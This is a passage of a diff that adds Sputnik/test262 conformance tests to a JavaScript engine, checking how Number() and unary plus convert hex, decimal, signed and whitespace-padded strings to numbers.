diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A20.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A20.js
new file mode 100644
index 000000000..78689d42d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A20.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 4 or of HexDigit ::: 4 is 4
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A20.js
+ * @description Compare Number('0x4') and Number('0X4') with 4
+ */
+
+// CHECK#1
+if (Number("4") !== 4) {
+ $ERROR('#1: Number("4") === 4. Actual: ' + (Number("4")));
+}
+
+// CHECK#2
+if (Number("0x4") !== 4) {
+ $ERROR('#2: Number("0x4") === 4. Actual: ' + (Number("0x4")));
+}
+
+// CHECK#3
+if (+("0X4") !== 4) {
+ $ERROR('#3: +("0X4") === 4. Actual: ' + (+("0X4")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A21.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A21.js
new file mode 100644
index 000000000..de8fe9fe1
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A21.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 5 or of HexDigit ::: 5 is 5
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A21.js
+ * @description Compare Number('0x5') and Number('0X5') with 5
+ */
+
+// CHECK#1
+if (+("5") !== 5) {
+ $ERROR('#1: +("5") === 5. Actual: ' + (+("5")));
+}
+
+// CHECK#2
+if (Number("0x5") !== 5) {
+ $ERROR('#2: Number("0x5") === 5. Actual: ' + (Number("0x5")));
+}
+
+// CHECK#3
+if (Number("0X5") !== 5) {
+ $ERROR('#3: Number("0X5") === 5. Actual: ' + (Number("0X5")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A22.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A22.js
new file mode 100644
index 000000000..02aa703a3
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A22.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 6 or of HexDigit ::: 6 is 6
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A22.js
+ * @description Compare Number('0x6') and Number('0X6') with 6
+ */
+
+// CHECK#1
+if (Number("6") !== 6) {
+ $ERROR('#1: Number("6") === 6. Actual: ' + (Number("6")));
+}
+
+// CHECK#2
+if (+("0x6") !== 6) {
+ $ERROR('#2: +("0x6") === 6. Actual: ' + (+("0x6")));
+}
+
+// CHECK#3
+if (Number("0X6") !== 6) {
+ $ERROR('#3: Number("0X6") === 6. Actual: ' + (Number("0X6")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A23.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A23.js
new file mode 100644
index 000000000..d1745156d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A23.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 7 or of HexDigit ::: 7 is 7
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A23.js
+ * @description Compare Number('0x7') and Number('0X7') with 7
+ */
+
+// CHECK#1
+if (Number("7") !== 7) {
+ $ERROR('#1: Number("7") === 7. Actual: ' + (Number("7")));
+}
+
+// CHECK#2
+if (Number("0x7") !== 7) {
+ $ERROR('#2: Number("0x7") === 7. Actual: ' + (Number("0x7")));
+}
+
+// CHECK#3
+if (+("0X7") !== 7) {
+ $ERROR('#3: +("0X7") === 7. Actual: ' + (+("0X7")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A24.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A24.js
new file mode 100644
index 000000000..91409bead
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A24.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 8 or of HexDigit ::: 8 is 8
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A24.js
+ * @description Compare Number('0x8') and Number('0X8') with 8
+ */
+
+// CHECK#1
+if (+("8") !== 8) {
+ $ERROR('#1: +("8") === 8. Actual: ' + (+("8")));
+}
+
+// CHECK#2
+if (Number("0x8") !== 8) {
+ $ERROR('#2: Number("0x8") === 8. Actual: ' + (Number("0x8")));
+}
+
+// CHECK#3
+if (Number("0X8") !== 8) {
+ $ERROR('#3: Number("0X8") === 8. Actual: ' + (Number("0X8")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A25.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A25.js
new file mode 100644
index 000000000..761ceb443
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A25.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 9 or of HexDigit ::: 9 is 9
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A25.js
+ * @description Compare Number('0x9') and Number('0X9') with 9
+ */
+
+// CHECK#1
+if (Number("9") !== 9) {
+ $ERROR('#1: Number("9") === 9. Actual: ' + (Number("9")));
+}
+
+// CHECK#2
+if (+("0x9") !== 9) {
+ $ERROR('#2: +("0x9") === 9. Actual: ' + (+("0x9")));
+}
+
+// CHECK#3
+if (Number("0X9") !== 9) {
+ $ERROR('#3: Number("0X9") === 9. Actual: ' + (Number("0X9")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A26.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A26.js
new file mode 100644
index 000000000..404203f59
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A26.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of HexDigit ::: a or of HexDigit ::: A is 10
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A26.js
+ * @description Compare Number('0xA'), Number('0XA'), Number('0xa') and Number('0Xa') with 10
+ */
+
+// CHECK#1
+if (Number("0xa") !== 10) {
+ $ERROR('#1: Number("0xa") === 10. Actual: ' + (Number("0xa")));
+}
+
+// CHECK#2
+if (Number("0xA") !== 10) {
+ $ERROR('#2: Number("0xA") === 10. Actual: ' + (Number("0xA")));
+}
+
+// CHECK#3
+if (Number("0Xa") !== 10) {
+ $ERROR('#3: Number("0Xa") === 10. Actual: ' + (Number("0Xa")));
+}
+
+// CHECK#4
+if (+("0XA") !== 10) {
+ $ERROR('#4: +("0XA") === 10. Actual: ' + (+("0XA")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A27.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A27.js
new file mode 100644
index 000000000..67e6a6e5f
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A27.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of HexDigit ::: b or of HexDigit ::: B is 11
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A27.js
+ * @description Compare Number('0xB'), Number('0XB'), Number('0xb') and Number('0Xb') with 11
+ */
+
+// CHECK#1
+if (Number("0xb") !== 11) {
+ $ERROR('#1: Number("0xb") === 11. Actual: ' + (Number("0xb")));
+}
+
+// CHECK#2
+if (Number("0xB") !== 11) {
+ $ERROR('#2: Number("0xB") === 11. Actual: ' + (Number("0xB")));
+}
+
+// CHECK#3
+if (+("0Xb") !== 11) {
+ $ERROR('#3: +("0Xb") === 11. Actual: ' + (+("0Xb")));
+}
+
+// CHECK#4
+if (Number("0XB") !== 11) {
+ $ERROR('#4: Number("0XB") === 11. Actual: ' + (Number("0XB")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A28.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A28.js
new file mode 100644
index 000000000..d29b8c289
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A28.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of HexDigit ::: c or of HexDigit ::: C is 12
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A28.js
+ * @description Compare Number('0xC'), Number('0XC'), Number('0xc') and Number('0Xc') with 12
+ */
+
+// CHECK#1
+if (Number("0xc") !== 12) {
+ $ERROR('#1: Number("0xc") === 12. Actual: ' + (Number("0xc")));
+}
+
+// CHECK#2
+if (+("0xC") !== 12) {
+ $ERROR('#2: +("0xC") === 12. Actual: ' + (+("0xC")));
+}
+
+// CHECK#3
+if (Number("0Xc") !== 12) {
+ $ERROR('#3: Number("0Xc") === 12. Actual: ' + (Number("0Xc")));
+}
+
+// CHECK#4
+if (Number("0XC") !== 12) {
+ $ERROR('#4: Number("0XC") === 12. Actual: ' + (Number("0XC")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A29.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A29.js
new file mode 100644
index 000000000..88473af85
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A29.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of HexDigit ::: d or of HexDigit ::: D is 13
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A29.js
+ * @description Compare Number('0xD'), Number('0XD'), Number('0xd') and Number('0Xd') with 13
+ */
+
+// CHECK#1
+if (+("0xd") !== 13) {
+ $ERROR('#1: +("0xd") === 13. Actual: ' + (+("0xd")));
+}
+
+// CHECK#2
+if (Number("0xD") !== 13) {
+ $ERROR('#2: Number("0xD") === 13. Actual: ' + (Number("0xD")));
+}
+
+// CHECK#3
+if (Number("0Xd") !== 13) {
+ $ERROR('#3: Number("0Xd") === 13. Actual: ' + (Number("0Xd")));
+}
+
+// CHECK#4
+if (Number("0XD") !== 13) {
+ $ERROR('#4: Number("0XD") === 13. Actual: ' + (Number("0XD")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A30.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A30.js
new file mode 100644
index 000000000..b94bacbd7
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A30.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of HexDigit ::: e or of HexDigit ::: E is 14
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A30.js
+ * @description Compare Number('0xE'), Number('0XE'), Number('0xe') and Number('0Xe') with 14
+ */
+
+// CHECK#1
+if (Number("0xe") !== 14) {
+ $ERROR('#1: Number("0xe") === 14. Actual: ' + (Number("0xe")));
+}
+
+// CHECK#2
+if (Number("0xE") !== 14) {
+ $ERROR('#2: Number("0xE") === 14. Actual: ' + (Number("0xE")));
+}
+
+// CHECK#3
+if (Number("0Xe") !== 14) {
+ $ERROR('#3: Number("0Xe") === 14. Actual: ' + (Number("0Xe")));
+}
+
+// CHECK#4
+if (+("0XE") !== 14) {
+ $ERROR('#4: +("0XE") === 14. Actual: ' + (+("0XE")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A31.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A31.js
new file mode 100644
index 000000000..f5f151b76
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A31.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of HexDigit ::: f or of HexDigit ::: F is 15
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A31.js
+ * @description Compare Number('0xF'), Number('0XF'), Number('0xf') and Number('0Xf') with 15
+ */
+
+// CHECK#1
+if (Number("0xf") !== 15) {
+ $ERROR('#1: Number("0xf") === 15. Actual: ' + (Number("0xf")));
+}
+
+// CHECK#2
+if (Number("0xF") !== 15) {
+ $ERROR('#2: Number("0xF") === 15. Actual: ' + (Number("0xF")));
+}
+
+// CHECK#3
+if (+("0Xf") !== 15) {
+ $ERROR('#3: +("0Xf") === 15. Actual: ' + (+("0Xf")));
+}
+
+// CHECK#4
+if (Number("0XF") !== 15) {
+ $ERROR('#4: Number("0XF") === 15. Actual: ' + (Number("0XF")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A32.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A32.js
new file mode 100644
index 000000000..700feb717
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A32.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Once the exact MV for a string numeric literal has been
+ * determined, it is then rounded to a value of the Number type with 20
+ * significant digits by replacing each significant digit after the 20th
+ * with a 0 digit or the number value
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A32.js
+ * @description Use various long numbers, for example, 1234567890.1234567890
+ */
+
+// CHECK#1
+if (Number("1234567890.1234567890") !== 1234567890.1234567890) {
+ $ERROR('#1: Number("1234567890.1234567890") === 1234567890.1234567890. Actual: ' + (Number("1234567890.1234567890")));
+}
+
+// CHECK#2
+if (Number("1234567890.1234567890") !== 1234567890.1234567000) {
+ $ERROR('#2: Number("1234567890.1234567890") === 1234567890.1234567000. Actual: ' + (Number("1234567890.1234567890")));
+}
+
+// CHECK#3
+if (+("1234567890.1234567890") === 1234567890.123456) {
+ $ERROR('#3: +("1234567890.1234567890") !== 1234567890.123456');
+}
+
+// CHECK#4
+if (Number("0.12345678901234567890") !== 0.123456789012345678) {
+ $ERROR('#4: Number("0.12345678901234567890") === 0.123456789012345678. Actual: ' + (Number("0.12345678901234567890")));
+}
+
+// CHECK#4
+if (Number("00.12345678901234567890") !== 0.123456789012345678) {
+ $ERROR('#4: Number("00.12345678901234567890") === 0.123456789012345678. Actual: ' + (Number("00.12345678901234567890")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A3_T1.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A3_T1.js
new file mode 100644
index 000000000..304f5ba4e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A3_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StringNumericLiteral ::: StrWhiteSpaceopt StrNumericLiteral StrWhiteSpaceopt is the MV of StrNumericLiteral, no matter whether white space is present or not
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A3_T1.js
+ * @description static string
+ */
+
+// CHECK#1
+if (Number("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000") !== Number("")) {
+ $ERROR('#1: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") === Number("")');
+}
+
+// CHECK#2
+if (Number("\u0009\u000C\u0020\u00A0\u000A\u000D\u2028\u2029\u000B\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u30001234567890\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000") !== Number("1234567890")) {
+ $ERROR('#2: Number("\\u0009\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029\\u000B\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u30001234567890\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") === Number("1234567890")');
+}
+
+// CHECK#3
+if (!(+("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000Infinity\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000") == Number("Infinity"))) {
+ $ERROR('#3: +("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000Infinity\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") == Number("Infinity")');
+}
+
+// CHECK#4
+if (!(Number("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000-Infinity\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000") == Number(-"Infinity"))) {
+ $ERROR('#4: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000-Infinity\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") == Number("-Infinity")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A3_T2.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A3_T2.js
new file mode 100644
index 000000000..0969dd9bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A3_T2.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StringNumericLiteral ::: StrWhiteSpaceopt StrNumericLiteral StrWhiteSpaceopt is the MV of StrNumericLiteral, no matter whether white space is present or not
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A3_T2.js
+ * @description dynamic string
+ */
+
+function dynaString(s1, s2){
+ return String(s1)+String(s2);
+}
+
+// CHECK#1
+if (Number(dynaString("\u0009\u000C\u0020\u00A0\u000B", "\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000")) !== Number("")) {
+ $ERROR('#1: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B"+"\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") === Number("")');
+}
+
+// CHECK#2
+if (+(dynaString("\u0009\u000C\u0020\u00A0\u000A\u000D\u2028\u2029\u000B12345", "67890\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000")) !== Number("1234567890")) {
+ $ERROR('#2: +("\\u0009\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029\\u000B12345"+"67890\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") === Number("1234567890")');
+}
+
+// CHECK#3
+if (!(Number(dynaString("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029Infi", "nity\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000")) == Number("Infinity"))) {
+ $ERROR('#3: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029Infi"+"nity\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") == Number("Infinity")');
+}
+
+// CHECK#4
+if (!(Number(dynaString("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029-Infi", "nity\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000")) == Number(-"Infinity"))) {
+ $ERROR('#4: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029-Infi"+"nity\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") == Number("-Infinity")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A4_T1.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A4_T1.js
new file mode 100644
index 000000000..8d2051140
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A4_T1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrDecimalLiteral::: + StrUnsignedDecimalLiteral is the MV of StrUnsignedDecimalLiteral
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A4_T1.js
+ * @description Compare Number('+any_number') with Number('any_number')
+ */
+
+// CHECK#1
+if (Number("+0") !== Number("0")) {
+ $ERROR('#1.1: Number("+0") === Number("0")');
+} else {
+ // CHECK#2
+ if (1/Number("+0") !== 1/Number("0")) {
+ $ERROR('#2.2: 1/Number("+0") === 1/Number("0")');
+ }
+}
+
+// CHECK#3
+if (Number("+Infinity") !== Number("Infinity")) {
+ $ERROR('#3: Number("+Infinity") === Number("Infinity")');
+}
+
+// CHECK#4
+if (Number("+1234.5678") !== Number("1234.5678")) {
+ $ERROR('#4: Number("+1234.5678") === Number("1234.5678")');
+}
+
+// CHECK#5
+if (Number("+1234.5678e90") !== Number("1234.5678e90")) {
+ $ERROR('#5: Number("+1234.5678e90") === Number("1234.5678e90")');
+}
+
+// CHECK#6
+if (Number("+1234.5678E90") !== Number("1234.5678E90")) {
+ $ERROR('#6: Number("+1234.5678E90") === Number("1234.5678E90")');
+}
+
+// CHECK#7
+if (Number("+1234.5678e-90") !== Number("1234.5678e-90")) {
+ $ERROR('#7: Number("+1234.5678e-90") === Number("1234.5678e-90")');
+}
+
+// CHECK#8
+if (Number("+1234.5678E-90") !== Number("1234.5678E-90")) {
+ $ERROR('#8: Number("+1234.5678E-90") === Number("1234.5678E-90")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A4_T2.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A4_T2.js
new file mode 100644
index 000000000..e10d517ce
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A4_T2.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrDecimalLiteral::: + StrUnsignedDecimalLiteral is the MV of StrUnsignedDecimalLiteral
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A4_T2.js
+ * @description Compare Number('+' + 'any_number') with Number('any_number')
+ */
+
+function dynaString(s1, s2){
+ return String(s1)+String(s2);
+}
+
+// CHECK#1
+if (Number(dynaString("+", "0")) !== Number("0")) {
+ $ERROR('#1: Number("+"+"0") === Number("0")');
+} else {
+ // CHECK#2
+ if (1/Number(dynaString("+", "0")) !== 1/Number("0")) {
+ $ERROR('#2: 1/Number("+"+"0") === 1/Number("0")');
+ }
+}
+
+// CHECK#3
+if (Number(dynaString("+Infi", "nity")) !== Number("Infinity")) {
+ $ERROR('#3: Number("+Infin"+"ity") === Number("Infinity")');
+}
+
+// CHECK#4
+if (Number(dynaString("+1234.", "5678")) !== Number("1234.5678")) {
+ $ERROR('#4: Number("+1234."+"5678") === Number("1234.5678")');
+}
+
+// CHECK#5
+if (Number(dynaString("+1234.", "5678e90")) !== Number("1234.5678e90")) {
+ $ERROR('#5: Number("+1234."+"5678e90") === Number("1234.5678e90")');
+}
+
+// CHECK#6
+if (Number(dynaString("+1234.", "5678E90")) !== Number("1234.5678E90")) {
+ $ERROR('#6: Number("+1234."+"5678E90") === Number("1234.5678E90")');
+}
+
+// CHECK#7
+if (Number(dynaString("+1234.", "5678e-90")) !== Number("1234.5678e-90")) {
+ $ERROR('#7: Number("+1234."+"5678e-90") === Number("1234.5678e-90")');
+}
+
+// CHECK#8
+if (Number(dynaString("+1234.", "5678E-90")) !== Number("1234.5678E-90")) {
+ $ERROR('#8: Number("+1234."+"5678E-90") === Number("1234.5678E-90")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T1.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T1.js
new file mode 100644
index 000000000..b6bb8137d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrDecimalLiteral::: - StrUnsignedDecimalLiteral is the negative
+ * of the MV of StrUnsignedDecimalLiteral. (the negative of this 0 is also 0)
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A5_T1.js
+ * @description Compare Number('-any_number') with -Number('any_number')
+ */
+
+// CHECK#1
+if (Number("-0") !== -Number("0")) {
+ $ERROR('#1: Number("-0") === -Number("0")');
+} else {
+ // CHECK#2
+ if (1/Number("-0") !== -1/Number("0")) {
+ $ERROR('#2: 1/Number("-0") === -1/Number("0")');
+ }
+}
+
+// CHECK#3
+if (Number("-Infinity") !== -Number("Infinity")) {
+ $ERROR('#3: Number("-Infinity") === -Number("Infinity")');
+}
+
+// CHECK#4
+if (Number("-1234567890") !== -Number("1234567890")) {
+ $ERROR('#4: Number("-1234567890") === -Number("1234567890")');
+}
+
+// CHECK#5
+if (Number("-1234.5678") !== -Number("1234.5678")) {
+ $ERROR('#5: Number("-1234.5678") === -Number("1234.5678")');
+}
+
+// CHECK#6
+if (Number("-1234.5678e90") !== -Number("1234.5678e90")) {
+ $ERROR('#6: Number("-1234.5678e90") === -Number("1234.5678e90")');
+}
+
+// CHECK#7
+if (Number("-1234.5678E90") !== -Number("1234.5678E90")) {
+ $ERROR('#6: Number("-1234.5678E90") === -Number("1234.5678E90")');
+}
+
+// CHECK#8
+if (Number("-1234.5678e-90") !== -Number("1234.5678e-90")) {
+ $ERROR('#6: Number("-1234.5678e-90") === -Number("1234.5678e-90")');
+}
+
+// CHECK#9
+if (Number("-1234.5678E-90") !== -Number("1234.5678E-90")) {
+ $ERROR('#6: Number("-1234.5678E-90") === -Number("1234.5678E-90")');
+}
+
+// CHECK#10
+if (Number("-Infinity") !== Number.NEGATIVE_INFINITY) {
